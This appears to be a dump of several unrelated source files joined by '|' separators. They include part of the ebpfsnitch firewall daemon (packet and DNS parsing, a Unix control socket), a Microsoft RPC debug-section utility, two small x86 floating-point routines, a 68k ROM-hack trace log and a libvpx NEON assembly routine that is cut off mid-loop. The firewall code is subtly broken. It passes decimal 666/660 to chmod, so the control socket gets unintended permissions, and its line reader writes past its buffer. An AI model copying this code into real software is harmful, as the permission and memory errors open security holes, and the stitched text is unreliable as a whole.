static_cast<ip_protocol_t>(*((uint8_t*) (l_data + 9)));
struct nfq_event_t l_nfq_event;
l_nfq_event.m_user_id = 0;
l_nfq_event.m_group_id = 0;
l_nfq_event.m_nfq_id = l_packet_id;
l_nfq_event.m_protocol = l_proto;
l_nfq_event.m_source_address = *((uint32_t*) (l_data + 12));
l_nfq_event.m_destination_address = *((uint32_t*) (l_data + 16));
l_nfq_event.m_timestamp = nanoseconds();
if (l_proto == ip_protocol_t::TCP || l_proto == ip_protocol_t::UDP) {
l_nfq_event.m_source_port = ntohs(*((uint16_t*) (l_data + 20)));
l_nfq_event.m_destination_port = ntohs(*((uint16_t*) (l_data + 22)));
} else {
l_nfq_event.m_source_port = 0;
l_nfq_event.m_destination_port = 0;
}
process_nfq_event(l_nfq_event, true);
return MNL_CB_OK;
}
int
ebpfsnitch_daemon::nfq_handler_incoming(const struct nlmsghdr *const p_header)
{
struct nlattr *l_attributes[NFQA_MAX + 1] = {};
if (nfq_nlmsg_parse(p_header, l_attributes) < 0) {
m_log->error("nfq_nlmsg_parse() failed");
return MNL_CB_ERROR;
}
if (l_attributes[NFQA_PACKET_HDR] == NULL) {
m_log->error("l_attributes[NFQA_PACKET_HDR] failed");
return MNL_CB_ERROR;
}
struct nfgenmsg *const l_nfgen_message = (struct nfgenmsg *)
mnl_nlmsg_get_payload(p_header);
struct nfqnl_msg_packet_hdr *const l_packet_header =
(struct nfqnl_msg_packet_hdr *)
mnl_attr_get_payload(l_attributes[NFQA_PACKET_HDR]);
const uint16_t l_payload_length =
mnl_attr_get_payload_len(l_attributes[NFQA_PAYLOAD]);
const char *const l_data = (char *)
mnl_attr_get_payload(l_attributes[NFQA_PAYLOAD]);
const uint32_t l_packet_id = ntohl(l_packet_header->packet_id);
if (l_payload_length < 24) {
m_log->error("unknown dropping malformed");
m_nfq_incoming->send_verdict(l_packet_id, NF_DROP);
return MNL_CB_OK;
}
const ip_protocol_t l_proto =
static_cast<ip_protocol_t>(*((uint8_t*) (l_data + 9)));
struct nfq_event_t l_nfq_event;
l_nfq_event.m_nfq_id = l_packet_id;
l_nfq_event.m_protocol = l_proto;
l_nfq_event.m_source_address = *((uint32_t*) (l_data + 12));
l_nfq_event.m_destination_address = *((uint32_t*) (l_data + 16));
l_nfq_event.m_timestamp = nanoseconds();
if (l_proto == ip_protocol_t::TCP || l_proto == ip_protocol_t::UDP) {
l_nfq_event.m_source_port = ntohs(*((uint16_t*) (l_data + 20)));
l_nfq_event.m_destination_port = ntohs(*((uint16_t*) (l_data + 22)));
} else {
l_nfq_event.m_source_port = 0;
l_nfq_event.m_destination_port = 0;
}
if (l_proto == ip_protocol_t::UDP) {
if (l_nfq_event.m_source_port == 53) {
process_dns(l_data + 28, l_data + l_payload_length);
}
}
m_nfq_incoming->send_verdict(l_packet_id, NF_ACCEPT);
return MNL_CB_OK;
}
void
ebpfsnitch_daemon::process_dns(
const char *const p_packet,
const char *const l_dns_end
){
const size_t l_packet_size = l_dns_end - p_packet;
struct dns_header_t l_header;
if (!dns_parse_header(p_packet, l_packet_size, &l_header)) {
m_log->warn("dns_parse_header() failed");
return;
}
if (l_header.m_question_count != 1) {
m_log->warn(
"dns got {} questions, ignoring",
l_header.m_question_count
);
return;
}
if (l_header.m_answer_count == 0) {
m_log->warn("dns got {} answers, ignoring", l_header.m_answer_count);
return;
}
const char *l_iter = dns_get_body(p_packet);
struct dns_question_t l_question;
l_iter = dns_parse_question(p_packet, l_packet_size, l_iter, &l_question);
if (l_iter == NULL) {
m_log->warn("dns_parse_question() failed");
return;
}
const std::optional l_question_name = dns_decode_qname(
p_packet, l_packet_size, l_question.m_name, true
);
if (!l_question_name) {
m_log->warn("dns_decode_qname() for question failed");
return;
}
for (uint l_i = 0; l_i < l_header.m_answer_count; l_i++) {
struct dns_resource_record_t l_resource;
l_iter = dns_parse_record(p_packet, l_packet_size, l_iter, &l_resource);
if (l_iter == NULL) {
m_log->warn("dns_parse_record() failed");
return;
}
if (l_resource.m_type != 1) {
return;
}
if (l_resource.m_data_length != 4) {
m_log->warn("record length A expected 4 bytes");
return;
}
const uint32_t l_address = *((uint32_t *)l_resource.m_data);
const std::optional l_record_name = dns_decode_qname(
p_packet, l_packet_size, l_resource.m_name, true
);
if (!l_record_name) {
m_log->warn("dns_decode_qname() for record failed");
return;
}
m_log->info(
"Got A record for {} {} {}",
l_question_name.value(),
l_record_name.value(),
ipv4_to_string(l_address)
);
std::lock_guard<std::mutex> l_guard(m_reverse_dns_lock);
m_reverse_dns[l_address] = l_question_name.value();
}
}
std::optional<struct connection_info_t>
ebpfsnitch_daemon::lookup_connection_info(const nfq_event_t &p_event)
{
const std::string l_key =
ipv4_to_string(p_event.m_source_address) +
std::to_string(p_event.m_source_port) +
ipv4_to_string(p_event.m_destination_address) +
std::to_string(p_event.m_destination_port);
std::lock_guard<std::mutex> l_guard(m_lock);
if (m_mapping.find(l_key) != m_mapping.end()) {
return std::optional<struct connection_info_t>(m_mapping[l_key]);
} else {
const std::string l_key2 =
"0.0.0.0" +
std::to_string(p_event.m_source_port) +
ipv4_to_string(p_event.m_destination_address) +
std::to_string(p_event.m_destination_port);
if (m_mapping.find(l_key2) != m_mapping.end()) {
return std::optional<struct connection_info_t>(m_mapping[l_key2]);
}
return std::nullopt;
}
}
void
ebpfsnitch_daemon::control_thread()
{
try {
m_log->trace("ebpfsnitch_daemon::control_thread() entry");
int l_fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (l_fd <= 0) {
throw std::runtime_error("socket()");
}
const char *const l_path = "/tmp/ebpfsnitch.sock";
unlink(l_path);
struct sockaddr_un l_addr;
memset(&l_addr, 0, sizeof(l_addr));
l_addr.sun_family = AF_UNIX;
strcpy(l_addr.sun_path, l_path);
if (bind(l_fd, (struct sockaddr*)&l_addr, sizeof(l_addr)) < 0) {
throw std::runtime_error("bind()");
}
if (listen(l_fd, 5) < 0) {
throw std::runtime_error("listen()");
}
if (m_group) {
m_log->info("setting socket group {}", m_group.value());
const struct group *const l_group = getgrnam(
m_group.value().c_str()
);
if (l_group == NULL) {
throw std::runtime_error("getgrnam()");
}
if (chown("/tmp/ebpfsnitch.sock", 0, l_group->gr_gid) == -1) {
throw std::runtime_error("chown()");
}
if (chmod("/tmp/ebpfsnitch.sock", 660) != 0){
throw std::runtime_error("chmod()");
}
} else {
m_log->info("setting control socket world writable");
if (chmod("/tmp/ebpfsnitch.sock", 666) != 0){
throw std::runtime_error("chmod()");
}
}
struct pollfd l_poll_fd;
l_poll_fd.fd = l_fd;
l_poll_fd.events = POLLIN;
while (true) {
if (m_shutdown.load()) {
break;
}
const int l_ret = poll(&l_poll_fd, 1, 1000);
if (l_ret < 0) {
m_log->error("poll() unix socket error {}", l_ret);
break;
} else if (l_ret == 0) {
continue;
}
struct sockaddr_un l_client_address;
socklen_t l_client_address_len = sizeof(l_client_address);
const int l_client_fd = accept(
l_fd,
(struct sockaddr *)&l_client_address,
&l_client_address_len
);
if (l_client_fd < 0) {
m_log->error("accept() unix socket error {}", l_client_fd);
}
m_log->info("accept unix socket connection");
try {
handle_control(l_client_fd);
} catch (const std::exception &err) {
m_log->error("handle_control failed {}", err.what());
}
close(l_client_fd);
}
close(l_fd);
} catch (...) {
m_log->error("ebpfsnitch_daemon::control_thread()");
g_shutdown.notify_all();
}
m_log->trace("ebpfsnitch_daemon::control_thread() exit");
}
static void
writeAll(const int p_sock, const std::string &p_buffer)
{
size_t l_written = 0;
while (true) {
const ssize_t l_status = write(
p_sock,
p_buffer.c_str(),
p_buffer.size()
);
if (l_status < 0) {
if (errno == EWOULDBLOCK || errno == EAGAIN) {
continue;
} else {
throw std::runtime_error(strerror(errno));
}
} else if (l_status == 0) {
throw std::runtime_error("write socket closed");
}
l_written += l_status;
if (l_written == p_buffer.size()) {
return;
}
}
}
class line_reader {
public:
line_reader(const int p_sock):
m_sock(p_sock),
m_position(0)
{};
std::optional<std::string>
poll_line()
{
for (uint l_iter = 0; l_iter < 2; l_iter++) {
const char *const l_end =
(const char *)memchr(m_buffer, '\n', m_position);
if (l_end != NULL) {
const std::string l_result(m_buffer, (size_t)(l_end - m_buffer));
memcpy(m_buffer, l_end + 1, m_position - (l_end - m_buffer));
m_position = 0;
return std::optional<std::string>(l_result);
} else if (l_iter != 0) {
return std::nullopt;
}
const ssize_t l_status = read(
m_sock,
&m_buffer + m_position,
sizeof(m_buffer) - m_position
);
if (l_status < 0) {
if (errno == EWOULDBLOCK || errno == EAGAIN) {
return std::nullopt;
} else {
throw std::runtime_error(strerror(errno));
}
} else if (l_status == 0) {
throw std::runtime_error("read socket closed");
}
m_position += l_status;
}
// impossible
return std::nullopt;
}
private:
size_t m_position;
int m_sock;
char m_buffer[1024];
};
void
ebpfsnitch_daemon::handle_control(const int p_sock)
{
if (fcntl(p_sock, F_SETFL, O_NONBLOCK) == -1) {
throw std::runtime_error("failed to set O_NONBLOCK");
}
line_reader l_reader(p_sock);
bool l_awaiting_action = false;
{
m_log->info("sending initial ruleset to ui");
const nlohmann::json l_json = {
{ "kind", "setRules" },
{ "rules", m_rule_engine.rules_to_json() }
};
const std::string l_json_serialized = l_json.dump() + "\n";
writeAll(p_sock, l_json_serialized);
}
auto l_last_ping = std::chrono::system_clock::now();
struct pollfd l_poll_fd;
l_poll_fd.fd = p_sock;
l_poll_fd.events = POLLIN;
while (true) {
if (m_shutdown.load()) {
break;
}
const int l_ret = poll(&l_poll_fd, 1, 50);
if (l_ret < 0) {
m_log->error("poll() unix socket error {}", l_ret);
break;
}
if (
std::chrono::duration_cast<std::chrono::milliseconds>(
std::chrono::system_clock::now() - l_last_ping
).count() > 500
) {
const nlohmann::json l_json = {
{ "kind", "ping" }
};
const std::string l_json_serialized = l_json.dump() + "\n";
writeAll(p_sock, l_json_serialized);
l_last_ping = std::chrono::system_clock::now();
}
const auto l_line_opt = l_reader.poll_line();
if (l_line_opt) {
m_log->info("got command |{}|", *l_line_opt);
nlohmann::json l_verdict = nlohmann::json::parse(*l_line_opt);
if (l_verdict["kind"] == "addRule") {
m_log->info("adding rule");
const std::string l_rule_id = m_rule_engine.add_rule(l_verdict);
{
l_verdict["ruleId"] = l_rule_id;
const nlohmann::json l_json = {
{ "kind", "addRule" },
{ "body", l_verdict }
};
const std::string l_json_serialized = l_json.dump() + "\n";
writeAll(p_sock, l_json_serialized);
}
process_unhandled();
l_awaiting_action = false;
} else if (l_verdict["kind"] == "removeRule") {
m_log->info("removing rule");
m_rule_engine.delete_rule(l_verdict["ruleId"]);
}
}
if (l_awaiting_action) {
continue;
}
struct nfq_event_t l_nfq_event;
{
std::lock_guard<std::mutex> l_guard(m_undecided_packets_lock);
if (m_undecided_packets.size() == 0) {
continue;
}
l_nfq_event = m_undecided_packets.front();
}
const std::optional<struct connection_info_t> l_optional_info =
lookup_connection_info(l_nfq_event);
if (!l_optional_info) {
m_log->error("handle_control has no connection info");
set_verdict(l_nfq_event.m_nfq_id, NF_DROP);
std::lock_guard<std::mutex> l_guard(m_undecided_packets_lock);
m_undecided_packets.pop();
continue;
}
const struct connection_info_t l_info = l_optional_info.value();
const std::string l_domain =
lookup_domain(l_nfq_event.m_destination_address)
.value_or("");
const nlohmann::json l_json = {
{ "kind", "query" },
{ "executable", l_info.m_executable },
{ "userId", l_info.m_user_id },
{ "processId", l_info.m_process_id },
{ "sourceAddress",
ipv4_to_string(l_nfq_event.m_source_address) },
{ "sourcePort", l_nfq_event.m_source_port },
{ "destinationPort", l_nfq_event.m_destination_port },
{ "destinationAddress",
ipv4_to_string(l_nfq_event.m_destination_address) },
{ "container", l_info.m_container },
{ "protocol",
ip_protocol_to_string(l_nfq_event.m_protocol) },
{ "domain", l_domain }
};
const std::string l_json_serialized = l_json.dump() + "\n";
writeAll(p_sock, l_json_serialized);
l_awaiting_action = true;
}
}
void
ebpfsnitch_daemon::process_unassociated()
{
std::queue<struct nfq_event_t> l_remaining;
// m_log->info("process unassociated");
std::lock_guard<std::mutex> l_guard(m_unassociated_packets_lock);
while (m_unassociated_packets.size()) {
struct nfq_event_t l_nfq_event = m_unassociated_packets.front();
const std::optional<struct connection_info_t> l_optional_info =
lookup_connection_info(l_nfq_event);
if (l_optional_info) {
struct connection_info_t l_info = l_optional_info.value();
if (!process_associated_event(l_nfq_event, l_info)) {
std::lock_guard<std::mutex> l_guard2(
m_undecided_packets_lock
);
m_undecided_packets.push(l_nfq_event);
}
} else {
// two seconds
if (nanoseconds() > (l_nfq_event.m_timestamp + 2000000000 )) {
m_log->error(
"dropping still unassociated {}",
nfq_event_to_string(l_nfq_event)
);
set_verdict(l_nfq_event.m_nfq_id, NF_DROP);
} else {
l_remaining.push(l_nfq_event);
}
}
m_unassociated_packets.pop();
}
m_unassociated_packets = l_remaining;
}
void
ebpfsnitch_daemon::process_unhandled()
{
std::queue<struct nfq_event_t> l_remaining;
// m_log->info("process unhandled");
std::lock_guard<std::mutex> l_guard(m_undecided_packets_lock);
while (m_undecided_packets.size()) {
struct nfq_event_t l_unhandled = m_undecided_packets.front();
const std::optional<struct connection_info_t> l_optional_info =
lookup_connection_info(l_unhandled);
if (l_optional_info) {
if (!process_associated_event(
l_unhandled, l_optional_info.value()))
{
// m_log->info("still undecided");
l_remaining.push(l_unhandled);
}
} else {
m_log->error("event unassociated when it should be, dropping");
}
m_undecided_packets.pop();
}
m_undecided_packets = l_remaining;
}
std::string
nfq_event_to_string(const nfq_event_t &p_event)
{
return
"userId " + std::to_string(p_event.m_user_id) +
" groupId " + std::to_string(p_event.m_group_id) +
" sourceAddress " + ipv4_to_string(p_event.m_source_address) +
" sourcePort " + std::to_string(p_event.m_source_port) +
" destinationAddress " + ipv4_to_string(p_event.m_destination_address) +
" destinationPort " + std::to_string(p_event.m_destination_port) +
" timestamp " + std::to_string(p_event.m_timestamp);
}
void
ebpfsnitch_daemon::set_verdict(const uint32_t p_id, const uint32_t p_verdict)
{
std::lock_guard<std::mutex> l_guard(m_response_lock);
m_nfq->send_verdict(p_id, p_verdict);
}
std::optional<std::string>
ebpfsnitch_daemon::lookup_domain(const uint32_t p_address)
{
std::lock_guard<std::mutex> l_guard(m_reverse_dns_lock);
const auto l_iter = m_reverse_dns.find(p_address);
if (l_iter != m_reverse_dns.end()) {
return std::optional<std::string>(l_iter->second);
} else {
return std::nullopt;
}
} |
/*++
Copyright (c) 2000 Microsoft Corporation
Module Name:
SecUtil.cxx
Abstract:
Utility functions for manipulating cell sections
Author:
Kamen Moutafov (kamenm) Dec 99 - Feb 2000
Revision History:
--*/
#include <precomp.hxx>
RPC_STATUS OpenDbgSection(OUT HANDLE *pHandle, OUT PVOID *pSection,
IN DWORD ProcessID, IN DWORD *pSectionNumbers OPTIONAL)
{
UNICODE_STRING SectionNameString;
OBJECT_ATTRIBUTES ObjectAttributes;
NTSTATUS NtStatus;
RPC_CHAR SectionName[RpcSectionNameMaxSize];
GenerateSectionName(SectionName, sizeof(SectionName)/sizeof(RPC_CHAR), ProcessID, pSectionNumbers);
RtlInitUnicodeString(&SectionNameString, SectionName);
InitializeObjectAttributes(&ObjectAttributes,
&SectionNameString,
OBJ_CASE_INSENSITIVE,
0,
0);
NtStatus = NtOpenSection(pHandle, FILE_MAP_READ, &ObjectAttributes);
if (!NT_SUCCESS(NtStatus))
{
if (NtStatus == STATUS_OBJECT_NAME_NOT_FOUND)
return ERROR_FILE_NOT_FOUND;
else if (NtStatus == STATUS_ACCESS_DENIED)
return ERROR_ACCESS_DENIED;
return RPC_S_OUT_OF_MEMORY;
}
*pSection = MapViewOfFileEx(*pHandle, FILE_MAP_READ, 0, 0, 0, NULL);
if (*pSection == NULL)
{
CloseHandle(*pHandle);
*pHandle = NULL;
return RPC_S_OUT_OF_MEMORY;
}
return RPC_S_OK;
}
void CloseDbgSection(IN HANDLE SecHandle, PVOID SecPointer)
{
BOOL fResult;
ASSERT(SecHandle != NULL);
ASSERT(SecPointer != NULL);
fResult = UnmapViewOfFile(SecPointer);
ASSERT(fResult);
fResult = CloseHandle(SecHandle);
ASSERT(fResult);
} |
;[]-----------------------------------------------------------------[]
;| STAT87.ASM -- access floating-point status word |
;[]-----------------------------------------------------------------[]
;
; C/C++ Run Time Library - Version 10.0
;
; Copyright (c) 1991, 2000 by Inprise Corporation
; All Rights Reserved.
;
; $Revision: 9.0 $
include RULES.ASI
; Segments Definitions
Header@
;--------------------------------------------------------------------------
;
;Name _status87 - gets floating-point status
;
;Usage unsigned int _status87(void);
;
;Prototype in float.h
;
;Description _status87 gets the floating-point status word, which is a
; combination of the 80x87 status word and other
; conditions detected by the 80x87 exception handler.
;
;Return value The bits in the return value give the floating-point
; status. See <float.h> for a complete definition of the bits
; returned by _status87.
;
;--------------------------------------------------------------------------
Code_seg@
Func@ _status87, _EXPFUNC, _RTLENTRY
Locals@ <int Status> ; volatile unsigned int Status;
Link@
fstsw Status.w0
fwait
movzx eax, Status.w0
Unlink@
Return@
EndFunc@ _status87
Code_EndS@
end
|
; Implementation of float-to-integer conversion as needed by MSVC.
global __ftol2
global __ftol2_sse
; section ftol text
__ftol2:
__ftol2_sse:
push eax
fisttp dword [esp]
pop eax
cdq
ret
|
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D38 move.l D0, (A4)+
004D3A move.l D0, (A4)+
074FF8 move.l A0, ($a0,A6)
074FFC move.w ($26,A6), D0 [etc+A0, etc+A2]
07544A clr.w ($a2,A6) [etc+A0]
07544E clr.w ($a4,A6)
075490 addi.w #$c, ($a2,A6)
075496 bra $75472 [etc+A2]
076D9E clr.w ($a2,A6) [etc+A0]
076DA2 rts
076DC4 addq.w #4, ($a2,A6) [etc+A0]
076DC8 cmpi.w #$18, ($a2,A6) [etc+A2]
076DD6 clr.w ($a2,A6) [etc+A0]
076DDA rts
078B80 clr.w ($a2,A6) [etc+A0]
078B84 rts
078B98 addq.w #4, ($a2,A6) [etc+A0]
078B9C cmpi.w #$c, ($a2,A6) [etc+A2]
078BA2 beq $78ba6 [etc+A2]
078BB4 move.w ($a2,A6), D0
078BB8 movea.l ($20,PC,D0.w), A1 [etc+A2]
07B364 move.l A0, ($a0,A6)
07B368 move.w #$1c20, ($50c,A5) [etc+A0, etc+A2]
07B3CA movea.l ($a0,A6), A0 [base+4F3]
07B3CE moveq #$0, D1 [etc+A0, etc+A2]
07B3EA move.l A0, ($a0,A6)
07B3EE move.w (A0), D0 [etc+A0, etc+A2]
07B3F4 move.l A0, ($a0,A6)
07B3F8 move.b #$1e, ($80,A6) [etc+A0, etc+A2]
07B428 movea.l ($a0,A6), A2
07B42C jsr $fdae.l [etc+A0, etc+A2]
07B43E move.l A2, ($a0,A6)
07B442 move.w (A2), ($80,A6) [etc+A0, etc+A2]
07B44C move.l A2, ($a0,A6)
07B450 move.w #$3, ($80,A6) [etc+A0, etc+A2]
07B4C6 movea.l ($a0,A6), A0
07B4CA move.w (A0), D0 [etc+A0, etc+A2]
07B672 move.l #$7b7a6, ($a0,A6)
07B67A move.w ($744,A5), ($8,A6) [etc+A0, etc+A2]
07B778 move.l A1, ($a0,A6)
07B77C tst.w (A1) [etc+A0, etc+A2]
07BF1C move.l A0, ($a0,A6)
07BF20 move.l A1, ($a4,A6) [etc+A0, etc+A2]
07BFE0 move.l A2, ($a0,A6)
07BFE4 move.w (A2), D0 [etc+A0, etc+A2]
07EED8 clr.w ($a2,A6) [etc+A0]
07EEDC rts
07EEF8 addq.w #4, ($a2,A6) [etc+A0]
07EEFC andi.w #$c, ($a2,A6) [etc+A2]
07EF02 bra $7ef0c [etc+A2]
081084 clr.w ($a2,A6) [etc+A0]
081088 lea ($10a,PC) ; ($81194), A1
0810D2 clr.w ($a2,A6)
0810D6 move.w D0, ($a0,A6)
0810DA tst.w ($a2,A6) [etc+A0]
0810DE beq $810f2 [etc+A2]
081116 move.w D2, ($a2,A6)
08111A bsr $8114e [etc+A2]
081126 tst.w ($a2,A6)
08112A beq $8114c [etc+A2]
08112E subq.w #1, ($a2,A6)
081132 moveq #$0, D0 [etc+A2]
084746 move.w (A3,D0.w), ($a2,A6)
08474C add.w D0, D0 [enemy+A2, etc+A2]
086DBC move.w ($1a,PC,D1.w), ($a2,A6)
086DC2 lea ($f0,PC) ; ($86eb4), A0 [etc+A2]
087186 subq.w #1, ($a2,A6)
08718A bne $87192 [etc+A2]
0888F6 move.l (A0)+, ($a0,A6)
0888FA move.l ($a0,A6), ($a8,A6) [etc+A0, etc+A2]
088992 movea.l ($a0,A6), A0 [etc+A4]
088996 move.l (A0)+, D0 [etc+A0, etc+A2]
0889A6 move.l A0, ($a0,A6)
0889AA movea.l D0, A0 [etc+A0, etc+A2]
0899B0 move.w #$6, ($a2,A6) [etc+A0]
0899B6 cmpi.w #$0, ($26,A6) [etc+A2]
0899C6 move.w #$8, ($a2,A6) [etc+A0]
0899CC cmpi.w #$400, ($26,A6) [etc+A2]
0899E6 subi.w #$1, ($a2,A6)
0899EC bne $899fa [etc+A2]
08BE7A move.b D0, ($a2,A6)
08BE7E move.b D0, ($a3,A6) [etc+A2]
08BF96 move.b #$ff, ($a2,A6) [etc+80]
08BF9C addq.b #2, ($5,A6) [etc+A2]
08BFF4 move.b ($a5,A6), ($a2,A6)
08BFFA move.b ($a6,A6), ($a3,A6)
08C10E move.b ($a5,A6), ($a2,A6)
08C114 move.b ($a6,A6), ($a3,A6)
08C7D0 move.b D1, ($a2,A6)
08C7D4 rts [etc+A2]
08C838 move.b D0, ($a2,A6)
08C83C move.b D0, ($a3,A6) [etc+A2]
092248 move.l (A0)+, ($a0,A6)
09224C move.l (A0)+, ($a4,A6) [etc+A0, etc+A2]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
bilinear_taps_coeff
DCD 128, 0, 112, 16, 96, 32, 80, 48, 64, 64, 48, 80, 32, 96, 16, 112
;-----------------
EXPORT |vp8_sub_pixel_variance16x16_neon_func|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
; r0 unsigned char *src_ptr,
; r1 int src_pixels_per_line,
; r2 int xoffset,
; r3 int yoffset,
; stack(r4) unsigned char *dst_ptr,
; stack(r5) int dst_pixels_per_line,
; stack(r6) unsigned int *sse
;note: most of the code is copied from bilinear_predict16x16_neon and vp8_variance16x16_neon.
|vp8_sub_pixel_variance16x16_neon_func| PROC
push {r4-r6, lr}
adr r12, bilinear_taps_coeff
ldr r4, [sp, #16] ;load *dst_ptr from stack
ldr r5, [sp, #20] ;load dst_pixels_per_line from stack
ldr r6, [sp, #24] ;load *sse from stack
cmp r2, #0 ;skip first_pass filter if xoffset=0
beq secondpass_bfilter16x16_only
add r2, r12, r2, lsl #3 ;calculate filter location
cmp r3, #0 ;skip second_pass filter if yoffset=0
vld1.s32 {d31}, [r2] ;load first_pass filter
beq firstpass_bfilter16x16_only
sub sp, sp, #272 ;reserve space on stack for temporary storage
vld1.u8 {d2, d3, d4}, [r0], r1 ;load src data
mov lr, sp
vld1.u8 {d5, d6, d7}, [r0], r1
mov r2, #3 ;loop counter
vld1.u8 {d8, d9, d10}, [r0], r1
vdup.8 d0, d31[0] ;first_pass filter (d0 d1)
vld1.u8 {d11, d12, d13}, [r0], r1
vdup.8 d1, d31[4]
;First Pass: output_height lines x output_width columns (17x16)
vp8e_filt_blk2d_fp16x16_loop_neon
pld [r0]
pld [r0, r1]
pld [r0, r1, lsl #1]
vmull.u8 q7, d2, d0 ;(src_ptr[0] * Filter[0])
vmull.u8 q8, d3, d0
vmull.u8 q9, d5, d0
vmull.u8 q10, d6, d0
vmull.u8 q11, d8, d0
vmull.u8 q12, d9, d0
vmull.u8 q13, d11, d0
vmull.u8 q14, d12, d0
vext.8 d2, d2, d3, #1 ;construct src_ptr[1]
vext.8 d5, d5, d6, #1
vext.8 d8, d8, d9, #1
vext.8 d11, d11, d12, #1
vmlal.u8 q7, d2, d1 ;(src_ptr[0] * Filter[1])
vmlal.u8 q9, d5, d1
vmlal.u8 q11, d8, d1
vmlal.u8 q13, d11, d1
vext.8 d3, d3, d4, #1
vext.8 d6, d6, d7, #1
vext.8 d9, d9, d10, #1
vext.8 d12, d12, d13, #1
vmlal.u8 q8, d3, d1 ;(src_ptr[0] * Filter[1])
vmlal.u8 q10, d6, d1
vmlal.u8 q12, d9, d1
vmlal.u8 q14, d12, d1
subs r2, r2, #1
vqrshrn.u16 d14, q7, #7 ;shift/round/saturate to u8
vqrshrn.u16 d15, q8, #7
vqrshrn.u16 d16, q9, #7
vqrshrn.u16 d17, q10, #7
vqrshrn.u16 d18, q11, #7
vqrshrn.u16 d19, q12, #7
vqrshrn.u16 d20, q13, #7
vld1.u8 {d2, d3, d4}, [r0], r1 ;load src data
vqrshrn.u16 d21, q14, #7
vld1.u8 {d5, d6, d7}, [r0], r1
vst1.u8 {d14, d15, d16, d17}, [lr]! ;store result
vld1.u8 {d8, d9, d10}, [r0], r1
vst1.u8 {d18, d19, d20, d21}, [lr]!
vld1.u8 {d11, d12, d13}, [r0], r1
bne vp8e_filt_blk2d_fp16x16_loop_neon
;First-pass filtering for rest 5 lines
vld1.u8 {d14, d15, d16}, [r0], r1
vmull.u8 q9, d2, d0 ;(src_ptr[0] * Filter[0])
vmull.u8 q10, d3, d0
vmull.u8 q11, d5, d0
vmull.u8 q12, d6, d0
vmull.u8 q13, d8, d0
vmull.u8 q14, d9, d0
vext.8 d2, d2, d3, #1 ;construct src_ptr[1]
vext.8 d5, d5, d6, #1
vext.8 d8, d8, d9, #1
vmlal.u8 q9, d2, d1 ;(src_ptr[0] * Filter[1])
vmlal.u8 q11, d5, d1
vmlal.u8 q13, d8, d1
vext.8 d3, d3, d4, #1
vext.8 d6, d6, d7, #1
vext.8 d9, d9, d10, #1
vmlal.u8 q10, d3, d1 ;(src_ptr[0] * Filter[1])
vmlal.u8 q12, d6, d1
vmlal.u8 q14, d9, d1
vmull.u8 q1, d11, d0
vmull.u8 q2, d12, d0
vmull.u8 q3, d14, d0
vmull.u8 q4, d15, d0
vext.8 d11, d11, d12, #1 ;construct src_ptr[1]
vext.8 d14, d14, d15, #1
vmlal.u8 q1, d11, d1 ;(src_ptr[0] * Filter[1])
vmlal.u8 q3, d14, d1
vext.8 d12, d12, d13, #1
vext.8 d15, d15, d16, #1
vmlal.u8 q2, d12, d1 ;(src_ptr[0] * Filter[1])
vmlal.u8 q4, d15, d1
vqrshrn.u16 d10, q9, #7 ;shift/round/saturate to u8
vqrshrn.u16 d11, q10, #7
vqrshrn.u16 d12, q11, #7
vqrshrn.u16 d13, q12, #7
vqrshrn.u16 d14, q13, #7
vqrshrn.u16 d15, q14, #7
vqrshrn.u16 d16, q1, #7
vqrshrn.u16 d17, q2, #7
vqrshrn.u16 d18, q3, #7
vqrshrn.u16 d19, q4, #7
vst1.u8 {d10, d11, d12, d13}, [lr]! ;store result
vst1.u8 {d14, d15, d16, d17}, [lr]!
vst1.u8 {d18, d19}, [lr]!
;Second pass: 16x16
;secondpass_filter
add r3, r12, r3, lsl #3
sub lr, lr, #272
vld1.u32 {d31}, [r3] ;load second_pass filter
sub sp, sp, #256
mov r3, sp
vld1.u8 {d22, d23}, [lr]! ;load src data
vdup.8 d0, d31[0] ;second_pass filter parameters (d0 d1)
vdup.8 d1, d31[4]
mov r12, #4 ;loop counter
vp8e_filt_blk2d_sp16x16_loop_neon
vld1.u8 {d24, d25}, [lr]!
vmull.u8 q1, d22, d0 ;(src_ptr[0] * Filter[0])
